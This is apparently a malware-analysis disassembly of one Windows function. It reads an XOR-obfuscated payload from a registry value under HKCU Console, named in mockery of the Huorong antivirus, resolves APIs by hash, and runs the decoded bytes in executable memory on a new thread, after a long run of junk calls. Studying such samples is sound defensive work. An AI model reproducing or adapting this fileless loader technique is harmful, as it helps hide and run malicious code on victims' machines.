Function at 0x140003db0
Capabilities:
Query or enumerate registry value

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
sub rsp, 0x30
call fcn.140001140
test eax, eax
je 0x140003dce
call fcn.140001090
call section..text
test eax, eax
je 0x140003ddc
call fcn.1400011f0
call fcn.140001090
test eax, eax
je 0x140003dea
call fcn.140001140
call fcn.1400011f0
test eax, eax
je 0x140003df8
call fcn.140001090
call fcn.140001090
test eax, eax
je 0x140003e06
call section..text
call fcn.140001140
test eax, eax
je 0x140003e14
call fcn.1400011f0
call fcn.1400011f0
test eax, eax
je 0x140003e22
call fcn.140001090
call fcn.140001090
test eax, eax
je 0x140003e30
call section..text
call fcn.1400012a0
test eax, eax
je 0x140003e3e
call fcn.140001350
call fcn.140001350
test eax, eax
je 0x140003e4c
call fcn.140001400
call fcn.140001400
test eax, eax
je 0x140003e5a
call fcn.1400014b0
call fcn.1400014b0
test eax, eax
je 0x140003e68
call fcn.1400012a0
call section..text
test eax, eax
je 0x140003e76
call fcn.1400012a0
call fcn.140001090
test eax, eax
je 0x140003e84
call fcn.140001350
call fcn.140001140
test eax, eax
je 0x140003e92
call fcn.140001400
call fcn.1400011f0
test eax, eax
je 0x140003ea0
call fcn.1400014b0
call fcn.1400011f0
test eax, eax
je 0x140003eae
call fcn.140001090
call fcn.140001090
test eax, eax
je 0x140003ebc
call fcn.140001140
call fcn.140001140
test eax, eax
je 0x140003eca
call section..text
call section..text
test eax, eax
je 0x140003ed8
call fcn.140001090
call fcn.140001140
test eax, eax
je 0x140003ee6
call fcn.140001090
call section..text
test eax, eax
je 0x140003ef4
call fcn.1400011f0
call fcn.140001090
test eax, eax
je 0x140003f02
call fcn.140001140
call fcn.1400011f0
test eax, eax
je 0x140003f10
call fcn.140001090
call fcn.1400012a0
test eax, eax
je 0x140003f1e
call fcn.140001350
call fcn.140001350
test eax, eax
je 0x140003f2c
call fcn.140001400
call fcn.140001400
test eax, eax
je 0x140003f3a
call fcn.1400014b0
call fcn.1400014b0
test eax, eax
je 0x140003f48
call fcn.1400012a0
call fcn.140001090
test eax, eax
je 0x140003f56
call fcn.140001350
call fcn.140001140
test eax, eax
je 0x140003f64
call fcn.140001400
call fcn.1400011f0
test eax, eax
je 0x140003f72
call fcn.1400014b0
call fcn.1400012a0
test eax, eax
je 0x140003f80
call section..text
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
lea r11, [rsp + 0x68]
lea rdx, str.Console
mov r9d, 0x20019
xor r8d, r8d
mov rcx, 0xffffffff80000001
mov qword [rsp + 0x20], r11
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
xor r13d, r13d
mov ecx, 0x1f4
mov dword [rsp + 0x60], r13d
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [rsp + 0x68]
lea r11, [rsp + 0x60]
mov qword [rsp + 0x28], r11
lea rdx, str.huorongqnmlb
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], r13
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov ecx, dword [rsp + 0x60]
call fcn.14000bce0
mov ecx, 0x1f4
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [rsp + 0x68]
lea r11, [rsp + 0x60]
lea rdx, str.huorongqnmlb
xor r9d, r9d
mov qword [rsp + 0x28], r11
xor r8d, r8d
mov qword [rsp + 0x20], rbx
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov ecx, dword [rsp + 0x60]
call fcn.14000bce0
mov rbp, rax
cmp dword [rsp + 0x60], r13d
jbe 0x140004069
mov r9, rax
sub rbx, rax
mov r8, rax
neg r9
nop dword [rax]
movzx edx, byte [rbx + r8]
inc r8
mov byte [r8 - 1], dl
mov eax, dword [rsp + 0x60]
lea rdx, [r9 + r8]
cmp rdx, rax
jb 0x140004050
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.1400039b0
mov edx, 0xf0b03804
mov rcx, rax
mov rbx, rax
call fcn.140003a70
mov edx, 0x1ac1e8e1
mov rcx, rbx
mov rdi, rax
call fcn.140003a70
lea rcx, str.kernel32.dll
mov rsi, rax
call rdi
lea rdx, str.VirtualAlloc
mov rcx, rax
mov rbx, rax
call rsi
lea rdx, str.CreateThread
mov rcx, rbx
mov rdi, rax
call rsi
lea rdx, str.WaitForSingleObject
mov rcx, rbx
mov r12, rax
call rsi
mov ecx, dword [rsp + 0x60]
mov r9d, r13d
mov rsi, rax
mov r8, r13
test ecx, ecx
je 0x14000414d
mov r10, rbp
lea r11, str.0x86
nop dword [rax + rax]
movsx ecx, byte [r8 + r11]
mov eax, 0x4ac525d3
inc r8
imul ecx
sar edx, 9
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, r9d
imul edx, edx, 0x6d9
sub ecx, edx
add cl, 0x4f
xor byte [r10], cl
and eax, 0x80000003
jge 0x140004138
dec eax
or eax, 0xfffffffc
inc eax
mov ecx, dword [rsp + 0x60]
test eax, eax
cmove r8, r13
inc r9d
inc r10
cmp r9d, ecx
jb 0x140004100
mov edx, ecx
xor ecx, ecx
mov r8d, 0x3000
lea r9d, [rcx + 0x40]
call rdi
mov r8d, dword [rsp + 0x60]
mov rdx, rbp
mov rcx, rax
mov rbx, rax
call fcn.14000d3c0
xor r9d, r9d
mov r8, rbx
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x28], r13
mov dword [rsp + 0x20], r13d
call r12
or edx, 0xffffffff
mov rcx, rax
call rsi
mov rbx, qword [rsp + 0x70]
add rsp, 0x30
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret